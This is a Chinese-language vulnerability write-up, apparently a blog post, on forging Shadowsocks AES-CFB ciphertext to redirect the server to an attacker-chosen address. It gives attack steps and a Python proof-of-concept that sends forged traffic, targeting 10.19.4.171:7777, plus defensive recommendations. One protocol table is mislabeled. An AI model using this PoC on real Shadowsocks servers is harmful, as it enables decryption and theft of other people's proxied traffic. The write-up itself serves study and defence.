Shadowsocks漏洞复现
字数 1402 2025-08-04 00:38:21
Shadowsocks漏洞复现与分析
1. SOCKS5协议基础
1.1 SOCKS5协议概述
SOCKS5是一种网络协议,支持TCP和UDP传输,常用于客户端和外部网络服务器之间的中间传输。
1.2 SOCKS5协议流程分析
1.2.1 客户端第一次请求与服务端第一次回复
客户端请求格式:
VER | NMETHODS | METHODS
0x05 | 1 | 1 TO 255
服务端回复格式:
VER | METHOD
0x05 | 1
- VER=0x05表示SOCKS5版本
- METHOD取值:
- 0x00:无需认证
- 0x02:需要用户名/密码认证
- 0xFF:无可接受方法
1.2.2 客户端第二次请求与服务端第二次回复
客户端请求格式:
VER | REP | PSV | ATYP | BND.ADDR | BND.PORT
0x05 | 1 | 0x00 | 1 | Variable | 2
- VER=0x05表示版本
- REP=0x00表示连接成功
- RSV=0x00保留字段
- ATYP地址类型:
- 0x01:IPv4
- 0x03:域名
- 0x04:IPv6
1.2.3 完整连接流程
- TCP三次握手
- 客户端请求连接
- 服务端返回0x05 0x00表示可以建立连接
- 客户端发送0x05 0x01 0x00 + 地址类型 + 目的地址 + 目的端口
- 服务端返回自身地址和端口
2. Shadowsocks架构分析
2.1 工作方式
user request <--> sslocal <--> ssserver <--> destination
- 原始流量:A <--> B
- 代理后流量:A <--> C <--encrypted--> D <--> B
2.2 主要模块
- tcprelay.py:TCP代理实现
- udprelay.py:UDP代理实现
- asyncdns.py:异步DNS查询
- crypto:加密依赖
- cryptor.py:加密接口
- daemon.py:守护进程
- shell.py:读取命令行参数和配置
- local.py:客户端入口
- server.py:服务器入口
3. 加密机制分析
3.1 密钥生成
Shadowsocks使用EVP_BytesToKey方式生成密钥:
def EVP_BytesToKey(password, key_len, iv_len):
m = []
i = 0
while len(b''.join(m)) < (key_len + iv_len):
md5 = hashlib.md5()
data = password
if i > 0:
data = m[i - 1] + password
md5.update(data)
m.append(md5.digest())
i += 1
ms = b''.join(m)
key = ms[:key_len]
iv = ms[key_len:key_len + iv_len]
return key, iv
3.2 加密流程
- 使用password作为种子
- 根据key长度不断进行MD5哈希
- 最终生成真正的key和iv
3.3 数据结构
rand_iv + AES-cfb(key, rand_iv, data)
- IV直接放在数据开头
- 完全依赖password生成的key保证安全
4. AES-CFB模式分析
4.1 基本原理
与AES-CBC相反:
- 首先进行AES加密
- 然后与前一组异或
CFB模式加密解密过程相同,因为最后一步都是异或操作。
4.2 伪造攻击原理
在已知明文(pt)、密文(ct)且拥有解密权限的情况下可以控制明文:
- 对于第一组密文,对IV进行AES加密得到K
- 已知关系:ct = pt xor K
- 可推导出:K = ct xor pt
- 要伪造pt',可计算:ct' = pt' xor K
5. 漏洞复现
5.1 环境配置
config.json配置示例:
{
"server":"127.0.0.1",
"local_port":20001,
"server_port":20002,
"password":"happi0",
"timeout":60,
"method":"aes-256-cfb",
"local_address":"127.0.0.1",
"fast_open":false
}
5.2 攻击步骤
- 截取密文
- 利用HTTP协议已知明文特征(如"HTTP/1.")
- 计算K = ct xor pt
- 构造目标地址pt'(如10.19.4.171:7777)
- 计算伪造密文ct' = pt' xor K
- 发送伪造的密文到服务器
5.3 PoC代码示例
import socket
import binascii
from Crypto.Util.number import long_to_bytes as lb
c = binascii.unhexlify("212aba32327c579d239a405770677e2ab1ca6f8288b9e59253917216b2034638c622293608b3a1dd843c71cf1fa704b95ee662c65fb14e1fca078643c6efb4f280a447d0493385dbbdf837f98e8b211749e1a738632b18fa2f1bb6a6ab83bb4c96035c611b79e1f36c2155493ddb8e4dc04c84297966959c4a4202c0bf51b1d0dbec1323b10bee1a4e3e3c58e3b8ee7796fdcaad638230fcf09f172e26271e2f0317481bde2cb1580f117a580908fb2ccac2d51a45a2976b56d41f6cca2227b17d76ddeb13390b8ddd3a7d92edada68a542b732c181ce43211e265")
def xor(a, b):
return bytes(x^y for x,y in zip(a,b))
plain = b"HTTP/1."
target = b"\x01" + lb(10) + lb(19) + lb(4) + lb(171) + lb(7777)
z = xor(plain, target)
new_c = c[:16] + xor(z, c[16:16+7]) + b"\x00"*(16-7) + c
s = socket.socket()
s.connect(("127.0.0.1", 20002))
s.send(new_c)
6. 防御建议
- 使用AEAD加密模式(如AES-GCM)替代CFB模式
- 增加消息认证码(MAC)校验
- 使用更安全的密钥派生函数替代EVP_BytesToKey
- 定期更换密码
- 限制可访问的IP范围
7. 参考资料
- SOCKS5协议RFC 1928中文文档
- Shadowsocks源码分析
- AES-CFB模式攻击方法研究
- 360安全研究员关于此漏洞的原始报告